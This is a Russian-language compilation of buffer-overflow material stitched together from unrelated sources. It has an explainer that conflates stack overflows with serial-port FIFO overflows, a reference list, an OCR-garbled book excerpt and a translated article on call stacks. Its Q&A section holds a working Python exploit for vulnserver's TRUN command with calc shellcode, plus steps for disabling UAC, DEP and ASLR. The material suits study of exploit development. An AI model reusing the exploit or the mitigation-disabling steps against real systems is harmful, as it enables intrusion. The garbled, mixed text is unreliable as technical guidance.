В некоторых случаях злоумышленник внедряет вредоносный код в память, которая была повреждена из-за переполнения стекового буфера. В других случаях просто используют преимущества повреждения соседней памяти. Например, программа, которая запрашивает пароль пользователя для предоставления ему доступа к системе. В приведенном ниже коде правильный пароль предоставляет привилегии root. Если пароль неверный, программа не предоставляет юзеру привилегии.
В приведенном примере программа предоставляет пользователю привилегии root, даже если он ввел неверный пароль. В этом случае злоумышленник предоставляет вход, длина которого больше, чем может вместить буфер, создавая переполнение, перезаписывающего память целого числа pass. Поэтому, несмотря на неверный пароль, значение pass становится ненулевым, и злоумышленник получает права root.
Атака временной области хранения
Буфер представляет собой временную область для хранения данных. Когда программа или системный процесс размещает больше данных чем было изначально выделено для хранения, дополнительные переполняются. Это приводит к тому, что некоторые из них просачиваются в другие buffer, повреждают или перезаписывают данные.
При атаке с переполнением дополнительные данные содержат специальные инструкции для действий, предназначенных хакером или злонамеренным пользователем, например, они вызывают ответ, который повреждает файлы, изменяет данные или раскрывает личную информацию.
Злоумышленник использует эксплойт с переполнением, чтобы воспользоваться программой, ожидающей ввода пользователя. Существует два типа переполнения buffer: на основе стека и кучи. Основанные на куче трудны для выполнения и наименее распространенные, при этом атакуют приложение, заполняя пространство, зарезервированное для программы.
Стек — пространство памяти, используемое для хранения пользовательского ввода. Такое переполнение чаще встречается у злоумышленников, использующих приложения.
Современные компиляторы обычно предоставляют возможность проверки переполнения во время компиляции/компоновки, но во время выполнения довольно сложно проверить эту проблему без какого-либо дополнительного механизма защиты обработки исключений.
Варианты работы программы:
Уязвимость существует из-за переполнения, если пользовательский ввод argv превышает 8 байтов. Для 32-битной системы (4 байта) заполняют память двойным словом (32 бита). Размер символа составляет 1 байт, поэтому если запросить буфер с 5 байтами, система выделит 2 двойных слова (8 байтов). Вот почему при вводе более 8 байтов Buffer будет переполнен.
Подобные стандартные функции, которые технически менее уязвимы, существуют. Например, strncpy (), strncat () и memcpy (). Проблема с этими функциями заключается в том, что ответственность за определение размера буфера лежит на программисте, а не на компиляторе.
Вам будет интересно:Как переделать Apple ID: советы и рекомендации
Каждый программист C/C++ должен знать проблему прежде чем начинать кодирование. Многие генерируемые проблемы в большинстве случаев могут быть защищены от переполнения.
Опасности в C/C++
Пользователи C должны избегать применения опасных функций, которые не проверяют границы, если они не уверены, что границы не будут превышены. Функции, которых следует избегать в большинстве случаев, чтобы обеспечить защиту, включают функции strcpy. Их следует заменить такими функциями, как strncpy. Следует избегать использования функции strlen, если пользователь уверен, что будет найден завершающий символ NIL. Семейство scanf (): scanf (3), fscanf (3), sscanf (3), vscanf (3), vsscanf (3) и vfscanf (3) — опасно для использования, его не применяют для отправки данных в строку без контроля максимальной длины, «формат% s» является особенно распространенным сбоем.
Официально snprintf () не является стандартной функцией C в классификации ISO 1990. Эти системы не защищают от переполнения буфера, они просто вызывают sprintf напрямую. Известно, что текущая версия Linux snprintf работает правильно, то есть фактически соблюдает установленную границу. Возвращаемое значение snprintf () также меняется.
Версия 2 спецификации Unix (SUS) и стандарт C99 отличаются тем, что возвращает snprintf (). Некоторые версии snprintf don’t гарантируют, что строка закончится в NIL, а если строка слишком длинная, она вообще не будет содержать NIL. Библиотека glib имеет g_snprintf () с последовательной семантикой возврата, всегда заканчивается NIL и, что наиболее важно, всегда учитывает длину буфера.
Переполнение буфера коммуникационного порта
Иногда последовательный порт сообщает о переполнении buffer. Эта проблема может быть вызвана несколькими факторами. К ним относятся скорость компьютера, скорость передачи используемых данных, размер FIFO последовательного порта и размер FIFO устройства, который передает данные на последовательный порт.
Управление потоком будет ждать, пока в буфере не появится определенное количество байтов, прежде чем процессор отправит сообщение или сигнал другому устройству для прекращения передачи. При более высоких скоростях передачи последовательный порт будет получать несколько байтов с момента достижения уровня управления потоком буфера и прекращения передачи прибора.
Эти дополнительные байты будут больше, если процесс с высоким приоритетом контролирует процессор цели в реальном времени. Поскольку процесс переполнения буфера коммуникационного порта имеет более высокий приоритет, чем прерывание VISA, процессор не будет предпринимать никаких действий, пока такой не будет завершен в реальном времени.
Настройки VISA и Windows по умолчанию для 16-байтового FIFO составляют 14 байтов, оставляя 2 байта в FIFO, когда устройство пытается отправить сообщение от источника. При более высоких скоростях передачи на медленных компьютерах возможно получить более 4 байтов в момент, когда последовательный порт запрашивает процессор, посылая сигнал о прекращении передачи.
Чтобы решить проблему, когда обнаружено переполнение стекового буфера в Windows 10, нужно открыть диспетчер устройств. Затем найти COM-порт, для которого изменяют настройки, и открыть свойства. Далее нажимают на вкладку «Дополнительно», появится ползунок, которым изменяют размер переполнения буфера обмена, чтобы UART быстрее включил управление потоком.
Значение по умолчанию в большинстве случаев достаточно. Однако если поступает ошибка переполнения buffer, уменьшают значение. Это приведет к тому, что большее количество прерываний будет отправлено процессору с замедлением байтов в UART.
Методы безопасной разработки
Методы безопасной разработки включают регулярное тестирование для обнаружения и устранения переполнения. Самый надежный способ избежать или предотвратить его — использовать автоматическую защиту на уровне языка. Другое исправление — проверка границ во время выполнения, которая предотвращает переполнение, автоматически проверяя, что данные, записанные в буфер, находятся в допустимых границах.
Облачная служба Veracode выявляет уязвимости кода, такие как переполнение buffer, поэтому разработчики устраняют их до того, как они будут использованы. Уникальная в отрасли запатентованная технология тестирования безопасности бинарных статических приложений (SAST) Veracode анализирует его, включая компоненты с открытым исходным кодом и сторонние, без необходимости доступа к нему.
SAST дополняет моделирование угроз и обзоры кода, выполняемые разработчиками, быстрее и с меньшими затратами обнаруживая ошибки и упущения в коде за счет автоматизации. Как правило, он запускается на ранних этапах жизненного цикла разработки ПО, поскольку проще и дешевле устранять проблемы, прежде чем приступать к производственному развертыванию.
SAST выявляет критические уязвимости, такие как внедрение SQL, межсайтовый скриптинг (XSS), ошибку переполнения буфера, необработанные состояния ошибок и потенциальные закоулки. Кроме того, двоичная технология SAST предоставляет полезную информацию, которая определяет приоритеты в зависимости от серьезности и предоставляет подробную инструкцию по исправлению.
Уязвимость переполнения buffer существует уже почти 3 десятилетия, но она по-прежнему обременительна. Хакеры по всему миру продолжают считать ее своей тактикой по умолчанию из-за огромного количества восприимчивых веб-приложений. Разработчики и программисты затрачивают огромные усилия для борьбы с этим злом IT-технологий, придумывая все новые и новые способы.
Основная идея последнего подхода заключается в реализации инструмента исправления, который делает несколько копий адресов возврата в стеке, а затем рандомизирует расположение всех копий в дополнение к количеству. Все дубликаты обновляются и проверяются параллельно, так что любое несоответствие между ними указывает на возможную попытку атаки и вызывает исключение.
Источник
Статический анализ для поиска переполнения буфера: актуальные направления развития | Дудина
1. J. Viega, J. T. Bloch, Y. Kohno, and G. McGraw. Its4: A static vulnerability scanner for c and c++ code. In Proceedings of the 16th Annual Computer Security Applications Conference, 2000, pp. 257-269.
2. P. Cousot and R. Cousot. Abstract Interpretation: a unified lattice model for static analysis of programs by construction or approximation of fixpoints. In Proceedings of the 4th ACM SIGACT-SIGPLAN symposium on Principles of programming languages, 1977, pp. 238–252.
3. X. Allamigeon. Static analysis of memory manipulations by abstract interpretation – Algorithmics of tropical polyhedra, and application to abstract interpretation. PhD thesis, Ecole Polytechnique X, Nov. 2009. [Online]. Available: https://pastel.archives-ouvertes.fr/pastel-00005850, accessed: 2018-04-08.
4. W. Le and M. L. Soffa. Marple: A Demand-Driven Path-Sensitive Buffer Overflow Detector. In Proceedings of the 16th ACM SIGSOFT International Symposium on Foundations of software engineering, 2008, p. 272-282.
5. L. Li, C. Cifuentes, and N. Keynes. Practical and effective symbolic analysis for buffer overflow detection. In Proceedings of the Eighteenth ACM SIGSOFT International Symposium on Foundations of Software Engineering, 2010, pp. 317– 326.
6. X. Xie, Y. Liu, W. Le, X. Li, and H. Chen. S-looper: automatic summarization for multipath string loops. In Proceedings of the 2015 International Symposium on Software Testing and Analysis, 2015, pp. 188–198.
7. Juliet Test Suite v1.2 for C/C++. User Guide. Режим доступа: https://samate.nist.gov/SRD/around.php#juliet_documents, дата обращения: 2018-04-08.
8. S. Shiraishi, V. Mohan, and H. Marimuthu. Test suites for benchmarks of static analysis tools. In Proceedings of the 2015 IEEE International Symposium on Software Reliability Engineering Workshops (ISSREW), Nov 2015, pp. 12–15.
9. T. Ye, L. Zhang, L. Wang, and X. Li. An Empirical Study on Detecting and Fixing Buffer Overflow Bugs. In Proceedings of the 2016 IEEE International Conference on Software Testing, Verification and Validation, 2016, pp. 91–101.
10. CVE security vulnerability database. Security vulnerabilities, exploits, references and more. Режим доступа: https://www.cvedetails.com/index.php, дата обращения: 2018-04-08.
11. K. Kratkiewicz and R. Lippmann. A taxonomy of buffer overflows for evaluating static and dynamic software testing tools. In Proceedings of Workshop on Software Security Assurance Tools, Techniques, and Metrics, vol. 500, 2006, pp. 44-51.
12. A. Borodin and A. Belevantcev. A static analysis tool Svace as a collection of analyzers with various complexity levels. Trudy ISP RAN /Proc. ISP RAS, vol. 27, issue 6, 2015, pp. 111–134. DOI: 10.15514/ISPRAS-2015-27(6)-8.
13. I.A. Dudina and A.A. Belevantsev. Using static symbolic execution to detect buffer overflows. Programming and Computer Software, vol. 43, no. 5, 2017, pp. 277–288. DOI: 10.1134/S0361768817050024.
14. Y. Zheng, X. Zhang, and V. Ganesh. Z3-str: A z3-based string solver for web application analysis. In Proceedings of the 2013 9th Joint Meeting on Foundations of Software Engineering, 2013, pp. 114–124.
Пример программы, уязвимой к переполнению буфера
После изучения основ переполнения буфера пришло время рассмотреть пример программы, извлекающей из него пользу, — программы переполнения буфера. В интересах простоты изучения программа должна быть понятной, а каждый шаг ее работы подробно исследован. Программа написана для платформ \Утс1о\У8 N1 и Глпих.
Программа, уязвимая к переполнению буфера
Главная цель — привести в этой секции пример программы, уязвимой к переполнению буфера. Рассмотренная в этой секции программа очень похожа на последний пример, но вместо постоянной строки входных данных она использует ввод данных пользователя. Это позволило загружать в регистр ЕГР нужные данные.
Исходный текст программы, уязвимой к переполнению буфера На последующих рисунках, начиная с рис. 8.17, представлена программа, предназначенная для считывания входных данных из файла в локальную переменную, размещенную в области стека. В результате присваивания этой переменной входных данных происходит переполнение буфера. Управляя входными данными программы, появляется идеальная возможность изучить возможности использования переполнения буфера. В программе вызывается специально написанная для примера функция Ъо/(), которая открывает файл «ЬаёА1е», считывает из него входные данные программы размером 1024 байта, записывает их в восьмибайтовый буфер и закрывает файл. При записи данных в буфер происходят переполнение буфера и порча данных стека, а по завершении функции Ъо/() в регистр ЕГР загружается значение из файла «Ьаё-/Ие». Исследуем работу этой программы в Глпих и \Утс1о\У8, приводя для обеих платформ соответствующие примеры.
Рис. 8.17. Пример программы, уязвимой к переполнению буфера Дизассемблерование На рисунке 8.18 представлен дизассемблерный вид функции bof(). Дизассемблерный вид всей программы на рисунке не показан, поскольку она аналогична предыдущей программе и отличается от нее только функцией bof(). При большом размере файла «badfile» во время работы функции fread() произойдет переполнение буфера, а команда ret функции bof() загрузит в регистр EIP величину из входных данных.
Рис. 8.18. Дизассемблированный вид функции Ъо/()
Дамп стека после переполнения Главное предназначение этой программы заключается в анализе уязвимостей переполнения буфера, поэтому на рис. 8.19 показан дамп стека после выполнения функции уіяескі(). Для примера был создан файл «Ьасі/ііе» с двадцатью символами «Л». После выполнения функции fread() область стека изменена так же, как и в предыдущей программе, но дополнительно появилась возможность управлять записью данных в буфер с помощью файла «Ъadfile». Запомним, что в функции определена дополнительная переменная стека — указатель дескриптора файла (дескриптор файла -уникальный идентификатор, присваиваемый системой \Уіпсіо\у8 файлу в момент его открытия или создания и существующий до момента его закрытия), которая размещена в старших адресах памяти стека сразу за областью буфера.
Рис. 8.19. Дамп стека после выполнения функции fread()
Программа переполнения буфера После ознакомления с примером программы, уязвимой к переполнению буфера при чтении файла «badfile», пришло время познакомиться с программой, извлекающей из этого пользу, — программой переполнения буфера. Программа переполнения буфера написана на ANSI С, поэтому она может быть откомпилирована любым компилятором ANSI С. Для приведенных в книге примеров использованы компиляторы Visual C++ for Windows NT и
⇐Основы переполнения буфера | Защита от хакеров корпоративных сетей | Gcc for linux⇒
Переполнение буфера(buffer overflows). Сетевые атаки, возможности и недостатки сетевых экранов
Похожие главы из других работ:
Алгоритмы сжатия данных
Отрицательное переполнение
Как показано в псевдокоде, арифметическое кодирование работает при помощи масштабирования накопленных вероятностей, поставляемых моделью в интервале [low; high] для каждого передаваемого символа. Пpедположим…
Алгоритмы сжатия данных
Переполнение и завершение
Теперь рассмотрим возможность переполнения при целочисленном умножении. Переполнения не произойдет, если произведение range*max_frequency вмещается в целое слово, т.к. накопленные частоты не могут превышать max_frequency…
Архитектура компьютера
1.8 Объём буфера
Объём буфера — Буфером называется промежуточная память, предназначенная для сглаживания различий скорости чтения/записи и передачи по интерфейсу…
Обмін даними між компонентами ППП MS Officе
Формат даних, що вставляються з буфера обміну
Дані, що копіюються чи видаляються в буфер, вставляються в іншу програму, якщо можливо, у форматі, доступному для редагування програмою. Наприклад, дані з книг Microsoft Excel і запису з Microsoft Access вставляються в Word як таблиці Word…
Особенности архитектуры и интерфейса Microsoft Windows
2.3.3 Использование буфера обмена. Связь данных с приложением
Буфер обмена (clipboard) играет важнейшую роль при организации обмена данными. Это часть виртуальной памяти, которая служит неким перевалочным пунктом при обмене данными…
Построение изображений ландшафта в реальном времени
2.1.6 Алгоритм Z-буфера
После получения треугольников ландшафта (триангуляции равномерной сетки) и проецирования их на экранную плоскость следует построение изображения ландшафта…
Разработка программного модуля цветовой коррекции изображения с использованием средств OpenGL
2.4 Цветовая коррекция с использованием буфера глубины
Использование буфера глубины является самым продвинутым методом при цветовой коррекции трехмерного изображения. Такая цветовая коррекция, к примеру…
Разработка программного модуля цветовой коррекции изображения с использованием средств OpenGL
3.1.3 Реализация шейдера цветовой коррекции с использованием буфера глубины
Алгоритм работы данного шейдера является самым сложным и комплексным из всех…
Разработка цифрового измерительного устройства с интерфейсом RS-485
3.3 Схема включения буфера RS-485
Буфер предназначен для двусторонней связи между микроконтроллером и ПК с использованием последовательного интерфейса. ПК и микроконтроллер осуществляют обмен информацией через буфер данных ADM2682E посредством интерфейса RS-485…
Синхронизация доступа к разделяемым ресурсам в многопроцессорных системах с разделяемой памятью и сетях
7.2.1 Выделение буфера
Алгоритм работает с тремя структурами данных: заголовком буфера, хеш-очередью буферов и списком свободных буферов. Ядро связывает семафор со всеми экземплярами каждой структуры. Другими словами, если у ядра имеются в распоряжении 200 буферов…
Синхронизация потоков потребителей
6. Сигнал конечного буфера производителя потребителя
Добавим второй семафор, чтобы отслеживать число доступного места в буфер.
1 mutex = Semaphore(1)
2 items = Semaphore(0)
3 spaces = Semaphore(buffer.size())
Листинг. 10 Инициализация конечного буфера производителя — потребителя. Когда потребитель удаляет элемент…
buffer-overflow — Переполнение буфера Не работает в Windows 7 x64?
Ранее я эксплуатировал переполнение буфера в Linux, имел приличные знания о том, как | почему это происходит, и средства защиты от него (ASLR, DEP).
Недавно пришел попробовать его в Windows, поэтому первые поиски в Google показывают, чтобы использовать команду TRUN
vulnserver, URL: https : //github.com/stephenbradshaw/vulnserver на основании моих исследований в Windows вы не можете отключить ASLR, но можете отключить DEP для программ через Data Execution Prevention
или https://community.ipswitch.com/s/article/Understanding-Data-Execution- Профилактика в -Windows- 1307565976900
Прежде чем перейти к моему сценарию, ниже приведены части Immunity Debugger после выполнения моего эксплойта:
Часть стека:
0260F9C8 41 41 41 41 41 41 41 41 AAAAAAAA
0260F9D0 41 41 41 41 41 41 41 41 AAAAAAAA
0260F9D8 F9 F9 60 02 FF F9 60 02 ùù`ÿù`
0260F9E0 90 90 90 90 90 90 90 90
0260F9E8 90 90 90 90 90 90 90 90
0260F9F0 EB 02 BA C7 93 BF 77 FF ëºÇ“¿wÿ
0260F9F8 D2 CC E8 F3 FF FF FF 63 ÒÌèóÿÿÿc
0260FA00 61 6C 63 43 43 43 43 43 alcCCCCC
0260FA08 43 43 43 43 43 43 43 43 CCCCCCCC
0260FA10 43 43 43 43 43 43 43 43 CCCCCCCC
Регистры процессора
EAX 00000114
ECX 004E6444
EDX 77BF93C7
EBX 00D0F200 ASCII "TRUN /.:/AAAAAAAAAAAAAAAA...
ESP 00D0F9D8
EBP 41414141
ESI 00000000
EDI CCD2FF77
EIP 77BF93C7
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDA000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Регистр прыжков:
!mona find -s "\xff\xe4" -m essfunc.dll
Log data, item 11
Address=625011AF
Message= 0x625011af : "\xff\xe4" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\PenTest\Desktop\vulnserver-master\vulnserver-master\essfunc.dll)
Наконец мой сценарий:
#!/usr/bin/python
import socket
import os
import sys
host="192.168.1.18"
port=9999
buf = "\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63";
buffer = "TRUN /.:/" + "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 16 + buf + "C" * (5060 - 2003 - 4 - 16 - len(buf))
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()
Уязвимой ОС является Windows 7 Enterprise 64bit
Я делаю ошибку?
0
creepy
3 Авг 2019 в 05:48
2 ответа
Лучший ответ
Должен ответить на свой вопрос для тех, кто сталкивается с той же проблемой, что и я
Мой шелл-код был для x86 битной архитектуры, ниже для шелл-кода All Windows калькулятор, который работал для меня.
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"
0
creepy
3 Авг 2019 в 21:06
Ниже приведены некоторые шаги по подготовке 64-разрядной версии Windows 7 для изучения основ разработки эксплойтов.
Отключить UAC
Перейдите в Настройки контроля учетных записей. Введите UAC или перейдите к апплету «Система и безопасность». Нажмите на ссылку «Изменить настройки контроля учетных записей». Чтобы отключить UAC, переместите ползунок в положение «Никогда не уведомлять» и нажмите кнопку «ОК».
Отключить DEP
- Откройте командную строку как «Администратор»
Затем введите эту команду:
bcdedit.exe / set {current} nx AlwaysOff
Отключить ASLR
- Откройте RegEdit (редактор реестра)
Найдите этот ключ:
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Диспетчер сеансов \ Управление памятью]
Создайте новое значение dword следующим образом
«MoveImages» = dword: 00000000 (без кавычек)
Перезагрузите вашу систему.
0
christofersimbar
27 Ноя 2019 в 14:54
Как работают бреши в безопасности: переполнение буфера
Переполнение буфера давно стало особенностью компьютерной безопасности. Фактически первый самораспространяющийся интернет-червь — Morris Worm 1988 года — использовал переполнение буфера в демоне finger Unix для распространения с машины на машину. Спустя 27 лет переполнение буфера остается источником проблем. После двух эксплойтов, связанных с переполнением буфера, в начале 2000-х годов Windows изменила свою безопасность.И только в мае этого года переполнение буфера, обнаруженное в драйвере Linux, оставило (потенциально) миллионы домашних и малых офисных маршрутизаторов уязвимыми для атак.
По своей сути переполнение буфера - это удивительно простая ошибка, возникающая в результате общепринятой практики. Компьютерные программы часто работают с фрагментами данных, которые считываются из файла, из сети или даже с клавиатуры. Программы выделяют блоки памяти конечного размера - буферы - для хранения этих данных во время работы с ними. Переполнение буфера происходит, когда в буфер записывается или считывается больше данных, чем может вместить буфер.
На первый взгляд это выглядит довольно глупой ошибкой. В конце концов, программа знает, насколько велик буфер, поэтому должно быть просто убедиться, что программа никогда не пытается втиснуть в буфер больше, чем она знает, поместится. Вы правы, если так думаете. Тем не менее, переполнение буфера продолжает происходить, и это часто приводит к катастрофе безопасности.
Чтобы понять, почему происходит переполнение буфера и почему это так серьезно, нам нужно немного понять, как программы используют память, и немного больше о том, как программисты пишут свой код.(Обратите внимание, что мы в первую очередь рассмотрим переполнение буфера стека. Это не единственный тип проблемы переполнения, но это классический, наиболее известный вид.)
Сложить
Переполнение буфера создает проблемы только для машинного кода, то есть программ, которые используют набор команд процессора напрямую, а не через какую-либо промежуточную форму, такую как Java или Python. Переполнение связано с тем, как процессор и программы в машинном коде управляют памятью. У разных операционных систем есть свои особенности, но все платформы, которые сегодня используются, по сути, следуют одному и тому же шаблону.Чтобы понять, как работают эти атаки и что люди делают, чтобы их остановить, мы сначала должны немного понять, как используется эта память.
Самым важным центральным понятием является адрес памяти. Каждый отдельный байт памяти имеет соответствующий числовой адрес. Когда процессор загружает и сохраняет данные из основной памяти (ОЗУ), он использует адрес памяти того места, из которого он хочет читать и писать. Системная память используется не только для данных; он также используется для исполняемого кода, из которого состоит наше программное обеспечение.Это означает, что каждая функция запущенной программы также имеет адрес.
На заре вычислительной техники процессоры и операционные системы использовали адреса физической памяти: каждый адрес памяти напрямую соответствовал определенной части ОЗУ. Хотя некоторые части современных операционных систем все еще должны использовать эти адреса физической памяти, все современные операционные системы используют схему, называемую виртуальной памятью.
В виртуальной памяти нарушается прямое соответствие между адресом памяти и физическим местом в ОЗУ.Вместо этого программное обеспечение и процессор работают с использованием адресов виртуальной памяти. Операционная система и процессор вместе поддерживают отображение между адресами виртуальной памяти и адресами физической памяти.
Эта виртуализация обеспечивает ряд важных функций. В первую очередь это защищенная память . Каждый отдельный процесс получает собственных набора адресов . Для 32-битного процесса эти адреса начинаются с нуля (для первого байта) и доходят до 4 294 967 295 (или в шестнадцатеричном формате: 0xffff'ffff
; 2 32 - 1).Для 64-битного процесса они работают до 18 446 744 073 709 551 615 ( 0xffff'ffff'ffff'ffff
, 2 64 - 1). Итак, каждый процесс имеет свой собственный адрес 0
, свой собственный адрес 1
, свой собственный адрес 2
и так далее и тому подобное.
(В оставшейся части этой статьи я буду говорить о 32-битных системах, если не указано иное. 32- и 64-битные системы работают практически одинаково, поэтому все переводится достаточно хорошо; это просто немного яснее придерживаться одной битности.)
Поскольку каждый процесс получает свой собственный набор адресов, эта схема очень прямолинейна, чтобы предотвратить повреждение памяти одним процессом другого процесса: все адреса, которые процесс может использовать для справочной памяти, принадлежат только этому процессу. Это также намного проще для процессов; адреса физической памяти, хотя в целом они работают одинаково (это просто числа, начинающиеся с нуля), как правило, имеют складки, из-за которых их использование раздражает. Например, они обычно не прилегают друг к другу; адрес 0x1ff8'0000
используется для памяти режима управления системой процессора; небольшой кусок физической памяти, недоступный для обычного программного обеспечения.Память с карт PCIe также обычно занимает часть этого адресного пространства. Виртуальные адреса лишены этих неудобств.
Итак, что есть у процесса в адресном пространстве? Вообще говоря, есть четыре общие вещи, три из которых нас интересуют. В большинстве операционных систем неинтересным является «ядро операционной системы». По соображениям производительности адресное пространство обычно делится на две половины: нижняя половина используется программой, а верхняя половина - адресным пространством ядра.Половина памяти ядра недоступна для половины программы, но ядро само может читать память программы. Это один из способов передачи данных функциям ядра.
Реклама
Первое, о чем нам нужно позаботиться, - это исполняемые файлы и библиотеки, составляющие программу. Основной исполняемый файл и все его библиотеки загружаются в адресное пространство процесса, и все их составляющие функции соответственно имеют адреса в памяти.
Второй - это память, которую программа использует для хранения данных, с которыми она работает, обычно называемая кучей. Это может быть использовано, например, для хранения редактируемого в данный момент документа, просматриваемой веб-страницы (и всех ее объектов JavaScript, CSS и т. Д.) Или карты для текущей игры.
Третий и наиболее важный - это стек вызовов, обычно называемый просто стеком. Это самый сложный аспект. У каждого потока в процессе есть свой стек. Это фрагмент памяти, который используется для отслеживания как функции, выполняемой потоком в данный момент, так и всех функций-предшественников - тех, которые были вызваны для перехода к текущей функции.Например, если функция a
вызывает функцию b
, а функция b
вызывает функцию c,
, тогда стек будет содержать информацию о a
, b
и c
в указанном порядке.
Увеличить / Здесь мы видим базовую структуру нашего стека с 64-символьным буфером с именем , именем
, затем указателем кадра и затем адресом возврата. esp
имеет адрес вершины стека, ebp
имеет адрес указателя кадра.
Стек вызовов - это специализированная версия более общей «стековой» структуры данных. Стеки - это структуры переменного размера для хранения объектов. Новые объекты могут быть добавлены («вытолкнуты») на один конец стека (обычно известный как «верх» стека), а объекты могут быть удалены («вытолкнуты») из стека. Только верхняя часть стека может быть изменена с помощью push или pop, поэтому стек вызывает своего рода последовательный порядок: последний отправленный элемент - это тот, который выталкивается первым. Первый элемент, который помещается в стек, оказывается последним.
Самое важное, что делает стек вызовов, - это хранить адресов возврата . В большинстве случаев, когда программа вызывает функцию, эта функция делает то, что ей положено (включая вызов других функций), а затем возвращается к функции, которая ее вызвала. Чтобы вернуться к вызывающей функции, должна быть запись о том, что это за вызывающая функция: выполнение должно возобновиться с инструкции после инструкции вызова функции. Адрес этой инструкции называется адресом возврата.Стек используется для поддержки этих адресов возврата: всякий раз, когда вызывается функция, адрес возврата помещается в стек. Каждый раз, когда функция возвращается, адрес возврата извлекается из стека, и процессор начинает выполнение инструкции по этому адресу.
Эта функциональность стека настолько фундаментально важна, что большинство процессоров, если не все, включают встроенную поддержку этих концепций. Рассмотрим процессоры x86. Среди регистров (небольшие участки памяти в процессоре, к которым могут напрямую обращаться инструкции процессора), которые определяет x86, два наиболее важных: eip
, обозначающий «указатель инструкций», и esp
, обозначающий указатель стека. .
esp
всегда содержит адрес вершины стека. Каждый раз, когда что-то помещается в стек, значение в esp
уменьшается. Каждый раз, когда что-то извлекается из стека, значение esp
увеличивается. Это означает, что стек растет «вниз»; по мере того, как в стек помещается все больше вещей, адрес, хранящийся в esp
, становится все меньше и меньше. Несмотря на это, ячейка памяти, на которую ссылается esp
, по-прежнему называется «вершиной» стека.
eip
дает адрес выполняемой в данный момент инструкции. Процессор поддерживает сам eip
. Он считывает поток инструкций из памяти и соответственно увеличивает eip
, чтобы всегда иметь адрес инструкции. В x86 есть инструкция для вызова функций с именем call
и еще одна инструкция для возврата из функции с именем ret
.
вызов
принимает один операнд; адрес вызываемой функции (хотя это можно сделать несколькими способами).Когда выполняется вызов
, указатель стека esp
уменьшается на 4 байта (32 бита), а адрес инструкции, следующей за вызовом
, адрес возврата, записывается в ячейку памяти, на которую теперь ссылается esp
- другими словами, адрес возврата помещается в стек. Затем eip
устанавливается на адрес, указанный в качестве операнда для вызова
, и выполнение продолжается с этого адреса.
ret
делает обратное.Простой ret
не принимает никаких операндов. Процессор сначала считывает значение из адреса памяти, содержащегося в esp
, затем увеличивает esp
на 4 байта - он выталкивает адрес возврата из стека. eip
устанавливается на это значение, и выполнение продолжается с этого адреса.
Посмотрите в действии call
и ret
.
Если бы стек вызовов только содержал последовательность адресов возврата, проблем не было бы.Настоящая проблема возникает и со всем остальным, что попадает в стек. Стек оказывается быстрым и эффективным местом для хранения данных. Хранить данные в куче относительно сложно; программе необходимо отслеживать, сколько места доступно в куче, сколько места использует каждый фрагмент данных, а также различные другие элементы бухгалтерского учета. Но стек тоже прост; чтобы освободить место для некоторых данных, просто уменьшите указатель стека. Чтобы привести в порядок данные, которые больше не нужны, увеличьте указатель стека.
Реклама
Это удобство делает стек логическим местом для хранения переменных, принадлежащих функции. Функция имеет 256-байтовый буфер для чтения пользовательского ввода? Легко, просто вычтите 256 из указателя стека, и вы создали буфер. В конце функции просто добавьте 256 обратно в указатель стека, и буфер будет удален.
Увеличить / Когда мы используем программу правильно, ввод с клавиатуры сохраняется в буфере name
, за которым следует нулевой (нулевой) байт.Указатель кадра и адрес возврата не изменяются.
Есть ограничения на это. Стек - не лучшее место для хранения очень больших объектов; общий объем доступной памяти обычно фиксируется при создании потока и обычно составляет около 1 МБ. Эти большие объекты должны быть помещены в кучу . Стек также не может использоваться для объектов, которые должны существовать дольше, чем время одного вызова функции. Поскольку каждое выделение стека отменяется при выходе из функции, любые объекты, существующие в стеке, могут существовать только до тех пор, пока выполняется функция.Однако для объектов в куче такое ограничение отсутствует; они могут оставаться здесь вечно.
Это хранилище стека используется не только для именованных переменных, которые программисты явно создают в своих программах; его также можно использовать для хранения любых других значений, которые могут понадобиться программе. Это традиционно вызывает особую озабоченность на x86. У процессоров x86 не так много регистров (всего их всего 8 целочисленных регистров, а некоторые из них, например eip
и esp,
, уже имеют специальное назначение), поэтому функции редко могут сохранять все нужные им значения. в регистрах.Чтобы освободить место в регистре, но при этом убедиться, что его текущее значение может быть получено позже, компилятор помещает значение регистра в стек. Позже значение может быть извлечено, чтобы вернуть его в регистр. На жаргоне компилятора этот процесс сохранения регистров, чтобы их можно было использовать повторно, называется , пролив .
Наконец, стек часто используется для передачи аргументов функциям. Вызывающая функция по очереди помещает каждый аргумент в стек; вызываемая функция может затем удалить аргументы.Это не единственный способ передачи аргументов (например, их также можно передавать в регистрах), но он один из самых гибких.
